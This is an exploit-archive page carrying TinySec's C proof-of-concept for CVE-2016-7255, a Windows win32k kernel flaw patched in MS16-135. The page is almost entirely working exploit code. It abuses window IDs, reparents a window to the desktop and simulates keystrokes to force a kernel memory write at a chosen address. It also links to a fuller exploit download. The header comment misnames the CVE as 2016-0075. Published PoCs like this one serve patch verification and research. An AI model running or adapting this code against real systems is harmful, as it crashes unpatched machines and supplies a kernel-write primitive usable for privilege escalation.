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Microsoft Windows kernel win32k Denial Of Service

Microsoft Windows kernel win32k Denial Of Service
Posted Nov 14, 2016
Authored by TinySec

The Microsoft Windows kernel suffers from a denial of service vulnerability as outlined in MS16-135.

tags | exploit, denial of service, kernel
systems | windows
advisories | CVE-2016-7255
MD5 | 1565e5e5849413adeccf1d24ffbe2a57

Microsoft Windows kernel win32k Denial Of Service

Change Mirror Download
/*
Source: https://github.com/tinysec/public/tree/master/CVE-2016-7255

Full Proof of Concept:

https://github.com/tinysec/public/tree/master/CVE-2016-7255
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/40745.zip

********************************************************************
Created: 2016-11-09 14:23:09
Filename: main.c
Author: root[at]TinySec.net
Version 0.0.0.1
Purpose: poc of cve-2016-0075
*********************************************************************
*/

#include <windows.h>
#include <wchar.h>
#include <stdlib.h>
#include <stdio.h>


//////////////////////////////////////////////////////////////////////////
#pragma comment(lib,"ntdll.lib")
#pragma comment(lib,"user32.lib")

#undef DbgPrint
ULONG __cdecl DbgPrintEx( IN ULONG ComponentId, IN ULONG Level, IN PCCH Format, IN ... );
ULONG __cdecl DbgPrint(__in char* Format, ...)
{
CHAR* pszDbgBuff = NULL;
va_list VaList=NULL;
ULONG ulRet = 0;

do
{
pszDbgBuff = (CHAR*)HeapAlloc(GetProcessHeap(), 0 ,1024 * sizeof(CHAR));
if (NULL == pszDbgBuff)
{
break;
}
RtlZeroMemory(pszDbgBuff,1024 * sizeof(CHAR));

va_start(VaList,Format);

_vsnprintf((CHAR*)pszDbgBuff,1024 - 1,Format,VaList);

DbgPrintEx(77 , 0 , pszDbgBuff );
OutputDebugStringA(pszDbgBuff);

va_end(VaList);

} while (FALSE);

if (NULL != pszDbgBuff)
{
HeapFree( GetProcessHeap(), 0 , pszDbgBuff );
pszDbgBuff = NULL;
}

return ulRet;
}


int _sim_key_down(WORD wKey)
{
INPUT stInput = {0};

do
{
stInput.type = INPUT_KEYBOARD;
stInput.ki.wVk = wKey;
stInput.ki.dwFlags = 0;

SendInput(1 , &stInput , sizeof(stInput) );

} while (FALSE);

return 0;
}

int _sim_key_up(WORD wKey)
{
INPUT stInput = {0};

do
{
stInput.type = INPUT_KEYBOARD;
stInput.ki.wVk = wKey;
stInput.ki.dwFlags = KEYEVENTF_KEYUP;

SendInput(1 , &stInput , sizeof(stInput) );

} while (FALSE);

return 0;
}

int _sim_alt_shift_esc()
{
int i = 0;

do
{
_sim_key_down( VK_MENU );
_sim_key_down( VK_SHIFT );


_sim_key_down( VK_ESCAPE);
_sim_key_up( VK_ESCAPE);

_sim_key_down( VK_ESCAPE);
_sim_key_up( VK_ESCAPE);

_sim_key_up( VK_MENU );
_sim_key_up( VK_SHIFT );


} while (FALSE);

return 0;
}



int _sim_alt_shift_tab(int nCount)
{
int i = 0;
HWND hWnd = NULL;


int nFinalRet = -1;

do
{
_sim_key_down( VK_MENU );
_sim_key_down( VK_SHIFT );


for ( i = 0; i < nCount ; i++)
{
_sim_key_down( VK_TAB);
_sim_key_up( VK_TAB);

Sleep(1000);

}


_sim_key_up( VK_MENU );
_sim_key_up( VK_SHIFT );
} while (FALSE);

return nFinalRet;
}



int or_address_value_4(__in void* pAddress)
{
WNDCLASSEXW stWC = {0};

HWND hWndParent = NULL;
HWND hWndChild = NULL;

WCHAR* pszClassName = L"cve-2016-7255";
WCHAR* pszTitleName = L"cve-2016-7255";

void* pId = NULL;
MSG stMsg = {0};

do
{

stWC.cbSize = sizeof(stWC);
stWC.lpfnWndProc = DefWindowProcW;
stWC.lpszClassName = pszClassName;

if ( 0 == RegisterClassExW(&stWC) )
{
break;
}

hWndParent = CreateWindowExW(
0,
pszClassName,
NULL,
WS_OVERLAPPEDWINDOW|WS_VISIBLE,
0,
0,
360,
360,
NULL,
NULL,
GetModuleHandleW(NULL),
NULL
);

if (NULL == hWndParent)
{
break;
}

hWndChild = CreateWindowExW(
0,
pszClassName,
pszTitleName,
WS_OVERLAPPEDWINDOW|WS_VISIBLE|WS_CHILD,
0,
0,
160,
160,
hWndParent,
NULL,
GetModuleHandleW(NULL),
NULL
);

if (NULL == hWndChild)
{
break;
}

#ifdef _WIN64
pId = ( (UCHAR*)pAddress - 0x28 );
#else
pId = ( (UCHAR*)pAddress - 0x14);
#endif // #ifdef _WIN64

SetWindowLongPtr(hWndChild , GWLP_ID , (LONG_PTR)pId );

DbgPrint("hWndChild = 0x%p\n" , hWndChild);
DebugBreak();

ShowWindow(hWndParent , SW_SHOWNORMAL);

SetParent(hWndChild , GetDesktopWindow() );

SetForegroundWindow(hWndChild);

_sim_alt_shift_tab(4);

SwitchToThisWindow(hWndChild , TRUE);

_sim_alt_shift_esc();


while( GetMessage(&stMsg , NULL , 0 , 0) )
{
TranslateMessage(&stMsg);
DispatchMessage(&stMsg);
}


} while (FALSE);

if ( NULL != hWndParent )
{
DestroyWindow(hWndParent);
hWndParent = NULL;
}

if ( NULL != hWndChild )
{
DestroyWindow(hWndChild);
hWndChild = NULL;
}

UnregisterClassW(pszClassName , GetModuleHandleW(NULL) );

return 0;
}

int __cdecl wmain(int nArgc, WCHAR** Argv)
{
do
{
or_address_value_4( (void*)0xFFFFFFFF );
} while (FALSE);

return 0;
}

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